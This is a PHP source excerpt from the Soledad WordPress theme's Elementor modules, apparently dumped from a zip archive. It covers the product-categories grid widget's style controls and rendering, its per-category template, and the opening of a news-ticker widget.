					'middle' => array(
						'title' => __( 'Middle', 'soledad' ),
						'icon'  => 'eicon-v-align-middle',
					),
					'bottom' => array(
						'title' => __( 'Bottom', 'soledad' ),
						'icon'  => 'eicon-v-align-bottom',
					),
				),
				'selectors'            => array(
					'{{WRAPPER}} .pcbg-content-flex' => 'align-items: {{VALUE}}',
				),
				'selectors_dictionary' => array(
					'top'    => 'flex-start',
					'middle' => 'center',
					'bottom' => 'flex-end',
				),
			)
		);

		$this->add_control(
			'content_text_align', array(
				'label'       => __( 'Content Text Align', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pcbg-content-flex' => 'text-align: {{VALUE}}'
				)
			)
		);

		$this->add_control(
			'content_display', array(
				'label'   => __( 'Content Text Display', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'block',
				'options' => array(
					'block'        => esc_html__( 'Block', 'soledad' ),
					'inline-block' => esc_html__( 'Inline Block', 'soledad' ),
				),
			)
		);

		$this->add_responsive_control(
			'content_width', array(
				'label'      => __( 'Content Text Max-Width', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => array( '%', 'px' ),
				'range'      => array(
					'%'  => array( 'min' => 0, 'max' => 100, ),
					'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
				),
				'selectors'  => array( '{{WRAPPER}} .pcbg-content-inner' => 'max-width: {{SIZE}}{{UNIT}}' ),
			)
		);

		$this->add_control(
			'bg_padding_margin',
			array(
				'label'     => esc_html__( 'Content Text Padding and Margin', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_responsive_control(
			'content_padding', array(
				'label'      => __( 'Content Text Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbg-content-inner' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'content_margin', array(
				'label'      => __( 'Content Text Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pcbg-content-inner' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_biggrid_overlay',
			array(
				'label' => __( 'Categories Grid Overlay', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'overlay_type', array(
				'label'   => __( 'Apply Overlay On:', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'whole',
				'options' => array(
					'whole' => 'Whole Image',
					'text'  => 'Whole Content Text',
					'none'  => 'None',
				)
			)
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			array(
				'name'      => 'overlay_bg',
				'label'     => __( 'Overlay Background', 'soledad' ),
				'types'     => array( 'classic', 'gradient', 'video' ),
				'selector'  => '{{WRAPPER}} .pcbg-bgoverlay.active-overlay, {{WRAPPER}} .pcbg-bgoverlaytext.active-overlay',
				'condition' => array( 'overlay_type!' => array( 'none' ) ),
			)
		);

		$this->add_responsive_control(
			'overlay_opacity', array(
				'label'     => __( 'Overlay Opacity(%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
					'{{WRAPPER}} .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
				),
			)
		);

		$this->add_responsive_control(
			'overlay_hopacity', array(
				'label'     => __( 'Overlay Hover Opacity(%)', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( '%' => array( 'min' => 0, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlay.active-overlay'     => 'opacity: calc( {{SIZE}}/100 )',
					'{{WRAPPER}} .penci-bgmain:hover .pcbg-bgoverlaytext.active-overlay' => 'opacity: calc( {{SIZE}}/100 )',
				),
			)
		);

		$this->add_control(
			'apply_spe_bg_title', array(
				'label' => __( 'Apply Separate Background for Title', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'spe_bg_title', array(
				'label'     => __( 'Background for Title', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
				),
				'condition' => array( 'apply_spe_bg_title' => 'yes' ),
			)
		);

		$this->add_control(
			'spe_bg_htitle', array(
				'label'     => __( 'Background for Title on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-bgitem:hover .pcbg-title' => 'background-color: {{VALUE}}; border-color: {{VALUE}};',
				),
				'condition' => array( 'apply_spe_bg_title' => 'yes' ),
			)
		);

		$this->add_control(
			'apply_spe_bg_meta', array(
				'label' => __( 'Apply Separate Background for Category Count', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'spe_bg_meta', array(
				'label'     => __( 'Background for Category Count', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title span' => 'background-color: {{VALUE}}; border-color: {{VALUE}};padding-left: 10px;padding-right:10px;',
				),
				'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
			)
		);

		$this->add_control(
			'spe_bg_hmeta', array(
				'label'     => __( 'Background for Category Count on Hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title span:hover' => 'background-color: {{VALUE}}; border-color: {{VALUE}};padding-left: 10px;padding-right:10px;',
				),
				'condition' => array( 'apply_spe_bg_meta' => 'yes' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_bg_hover_effect',
			array(
				'label' => __( 'Hover Effect', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'image_hover', array(
				'label'   => __( 'Image Hover Effect', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'zoom-in',
				'options' => array(
					'zoom-in'     => 'Zoom-In',
					'zoom-out'    => 'Zoom-out',
					'move-left'   => 'Move to Left',
					'move-right'  => 'Move to Right',
					'move-bottom' => 'Move to Bottom',
					'move-top'    => 'Move to Top',
					'none'        => 'None',
				)
			)
		);

		$this->add_control(
			'text_overlay', array(
				'label'   => __( 'Content Text Hover Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'none',
				'options' => array(
					'none'    => 'None',
					'show-in' => 'Show on Hover',
					'hide-in' => 'Hide on Hover',
				)
			)
		);

		$this->add_control(
			'text_overlay_ani', array(
				'label'     => __( 'Content Text Hover Animation', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'movetop',
				'options'   => array(
					'movetop'    => 'Move to Top',
					'movebottom' => 'Move to Bottom',
					'moveleft'   => 'Move to Left',
					'moveright'  => 'Move to Right',
					'zoomin'     => 'Zoom In',
					'zoomout'    => 'Zoom Out',
					'fade'       => 'Fade',
				),
				'condition' => array( 'text_overlay!' => 'none' ),
			)
		);

		$this->add_control(
			'title_anivisi', array(
				'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => array( 'text_overlay!' => 'none' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_biggrid_typo',
			array(
				'label' => __( 'Categories Grid Typography & Colors', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'bgitem_design',
			array(
				'label'     => esc_html__( 'Categories Grid Items', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgitem_bg', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'bgitem_borders', array(
				'label'     => __( 'Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
				),
			)
		);

		$this->add_responsive_control(
			'bgitem_borderwidth', array(
				'label'      => __( 'Borders Width', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_responsive_control(
			'bgitem_padding', array(
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
				),
			)
		);

		$this->add_control(
			'title_design',
			array(
				'label'     => esc_html__( 'Category Title', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgtitle_color', array(
				'label'     => __( 'Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'bgtitle_color_hover', array(
				'label'     => __( 'Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'      => 'bgtitle_typo_big',
				'label'     => __( 'Title Typography for Big Items', 'soledad' ),
				'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
				'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'bgtitle_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
			)
		);

		$this->add_control(
			'desc_design',
			array(
				'label'     => esc_html__( 'Category Count', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'bgdesc_color', array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title' => 'color: {{VALUE}};',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'title_typo',
				'label'    => __( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title',
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {

		$settings     = $this->get_settings();
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type     = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos    = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display  = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy     = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover      = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay     = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile    = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
		$sameh_mobile     = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size       = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size      = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size      = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( in_array( $biggid_style, array( 'style-1' ) ) ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			$wrapper_class     .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-product-category' . ' penci-bgrid-' . $biggid_style . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}

		$big_items = penci_big_grid_is_big_items( $biggid_style );

		$product_cat_default_settings = [
			// Query.
			'product_cat_number'  => null,
			'product_cat_orderby' => '',
			'product_cat_order'   => 'ASC',
			'product_cat_ids'     => '',
		];

		$product_cat_settings = wp_parse_args( $this->get_settings_for_display(), $product_cat_default_settings );

		$tax_name = $product_cat_settings['taxonomy'];
		// Query.
		$product_cat_query_args = array(
			'taxonomy'   => $tax_name,
			'order'      => $product_cat_settings['product_cat_order'],
			'hide_empty' => 'yes' === $product_cat_settings['product_cat_hide_empty'],
			'include'    => $product_cat_settings[ $tax_name . '_ids' ],
			'exclude'    => $product_cat_settings[ $tax_name . '_ids_ex' ],
			'pad_counts' => true,
			'number'     => $product_cat_settings['product_cat_number'],
		);

		if ( $settings['product_cat_orderby'] ) {
			$product_cat_query_args['orderby'] = $settings['product_cat_orderby'];
		}

		$product_categories = get_terms( $product_cat_query_args );
		$bg                 = 1;
		$text_item          = $settings['text_item'];
		$text_items         = $settings['text_items'];
		?>
        <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner">
					<?php

					echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';

					$num_cat = count( $product_categories );

					foreach ( $product_categories as $category ) :
						$item_id     = ' elementor-repeater-item-' . $category->term_id;
						$desc        = $category->description;
						$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
						$thumbnail   = $thumb_size;
						$is_big_item = '';
						if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
							$thumbnail   = $bthumb_size;
							$is_big_item = ' pcbg-big-item';
						}
						if ( penci_is_mobile() ) {
							$thumbnail = $mthumb_size;
						}

						$term_options = array(
							'sort' => isset( $settings['taxonomy_image'] ) && $settings['taxonomy_image'] ? $settings['taxonomy_image'] : 'latest',
							'key'  => isset( $settings['taxonomy_image_view_key'] ) && $settings['taxonomy_image_view_key'] ? $settings['taxonomy_image_view_key'] : '',
						);

						include dirname( __FILE__ ) . "/product-category.php";
						if ( $flag_style && $surplus == 0 && $bg < $num_cat ) {
							echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
						}

						$bg ++;
					endforeach;

					echo '</div>';

					if ( $flag_style ) {
						echo '</div>';
					}
					?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     1w\V(  (  L  elementor/modules/penci-product-categories-grid/widgets/product-category.phpnu [        <?php
$title       = $category->name;
$catcount    = $category->count;
$count       = isset( $settings['hide_subtitle'] ) && 'yes' == $settings['hide_subtitle'] ? false : $catcount;
$title_link  = get_term_link( $category->term_id, $tax_name );
$image_id    = penci_subcategory_extract_img( $category );
$image_url   = wp_get_attachment_image_url( penci_get_taxonomies_image( $tax_name, $category->term_id, $term_options ), 'full' );
$image_ratio = penci_get_ratio_size_based_url( $image_url );
?>
<div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                    <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $dis_lazyload);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
						echo ' style="padding-bottom: ' . $image_ratio . '%"';
					} ?>>
						<?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                    </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                       title="<?php echo esc_attr( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php }; ?>
                           title="<?php echo esc_attr( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title">
                                    <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>>
										<?php echo $title; ?>
                                    </a>
                                </h3>
                            </div>
						<?php endif; ?>

						<?php if ( $count ) : ?>
                            <div class="pcbg-below item-hover">
                                <div class="pcbg-sub-title">
                                    <span>
									<?php
									$text_item  = $text_item ? $text_item : '% item';
									$text_items = $text_items ? $text_items : '% items';
									echo ( 1 >= $count ) ? str_replace( '%', $count, $text_item ) : str_replace( '%', $count, $text_items );
									?>
                                        </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( $desc ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo $desc; ?></div>
                            </div>
						<?php } ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
PK     1w\    .  elementor/modules/penci-news-ticker/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciNewsTicker;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-news-ticker';
	}

	public function get_widgets() {
		return array( 'PenciNewsTicker' );
	}
}
PK     1w\QD 4   4  A  elementor/modules/penci-news-ticker/widgets/penci-news-ticker.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciNewsTicker\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciNewsTicker extends Base_Widget {

	public function get_name() {
		return 'penci-news-ticker';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' News Ticker', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-anchor';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_script_depends() {
		return [ 'penci-marquee' ];
	}

	public function get_keywords() {
		return array( 'facebook', 'social', 'embed', 'page' );
	}

	protected function register_controls() {


		$this->register_query_section_controls();
		$this->start_controls_section(
			'section_layout', array(
				'label' => esc_html__( 'Display', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'tpost_text', array(
				'label'   => __( 'Custom "Top Posts" Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => 'Top Posts',
			)
		);

		$this->add_control(
			'headline_style', array(
				'label'   => __( 'Style for "Top Posts" Text', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''                => 'Default Style',
					'nticker-style-2' => 'Style 2',
					'nticker-style-3' => 'Style 3',
					'nticker-style-4' => 'Style 4'
				)
			)
		);

		$this->add_control(
			'navs_buttons', array(
				'label'     => __( 'Display Next/Prev Icons as Buttons', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a'             => 'height: 24px; line-height: 24px; top: 4px; background: #313131; color: #fff; float: left;',
					'{{WRAPPER}} .penci-trending-nav a:first-child' => 'margin-right: 4px;',
				),
			)
		);

		$this->add_control(
			'move_navs', array(
				'label'     => __( 'Move Next/Prev Icons/Buttons To The Right Side', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array(
					'{{WRAPPER}} .penci-topbar-trending .penci-trending-nav'          => 'float: right;',
					'{{WRAPPER}} .headline-title'                                     => 'margin-right: 10px;',
					'{{WRAPPER}} .headline-title.nticker-style-2'                     => 'margin-right: 18px;',
					'{{WRAPPER}} .headline-title.nticker-style-4'                     => 'margin-right: 19px;',
					'body.rtl {{WRAPPER}} .penci-topbar-trending .penci-trending-nav' => 'float: left;',
					'body.rtl {{WRAPPER}} .headline-title'                            => 'margin-right: 0; margin-left: 10px;',
					'body.rtl {{WRAPPER}} .headline-title.nticker-style-2'            => 'margin-left: 18px; margin-right:0;',
					'body.rtl {{WRAPPER}} .headline-title.nticker-style-4'            => 'margin-left: 19px; margin-right:0;',
				),
			)
		);

		$this->add_control(
			'headline_upper', array(
				'label'     => __( 'Turn off Uppercase for "Top Posts" text', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array( '{{WRAPPER}} .headline-title' => 'text-transform: none;' ),
			)
		);

		$this->add_control(
			'title_length', array(
				'label'       => __( 'Custom Words Length for Post Titles', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'label_block' => true,
				'default'     => '',
			)
		);

		$this->add_control(
			'titles_upper', array(
				'label'     => __( 'Turn off Uppercase for Post Titles', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => array( '{{WRAPPER}} a.penci-topbar-post-title' => 'text-transform: none;' ),
			)
		);

		$this->add_control(
			'autoplay', array(
				'label' => __( 'Disable Auto Play', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER
			)
		);

		$this->add_control(
			'autotime', array(
				'label'       => __( 'Autoplay Timeout', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( '1000 = 1 second', 'soledad' ),
				'label_block' => true,
				'default'     => '3000',
			)
		);

		$this->add_control(
			'autospeed', array(
				'label'       => __( 'Autoplay Speed', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'description' => __( '1000 = 1 second', 'soledad' ),
				'label_block' => true,
				'default'     => '300'
			)
		);

		$this->add_control(
			'headline_anim', array(
				'label'   => __( 'Transition Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => array(
					''             => 'Slide In Up',
					'slideInRight' => 'Fade In Right',
					'fadeIn'       => 'Fade In',
					'marquee'      => 'Marquee',
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		// Design
		$this->start_controls_section(
			'section_design_general',
			array(
				'label' => __( 'News Ticker', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'border_color',
			array(
				'label'     => __( 'Set Borders Around The News Ticker', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-enews-ticker.penci-topbar-trending' => 'border: 1px solid {{VALUE}};',
				),
			)
		);

		$this->add_control(
			'bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-topbar-trending'                => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel .owl-item'         => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-3:after' => 'border-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'heading_tpostsec',
			array(
				'label'     => __( '"Top Posts" Section', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'headline_typo',
				'selector' => '{{WRAPPER}} .headline-title',
			)
		);

		$this->add_control(
			'tpost_bg',
			array(
				'label'     => __( '"Top Posts" Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title'                       => 'background-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-2:after' => 'border-color: {{VALUE}};',
					'body:not(.pcdm-enable) {{WRAPPER}} .headline-title.nticker-style-4:after' => 'border-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'tpost_color',
			array(
				'label'     => __( '"Top Posts" Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .headline-title' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_responsive_control(
			'navs_size', array(
				'label'     => __( 'Font size for Next/Prev Icons', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
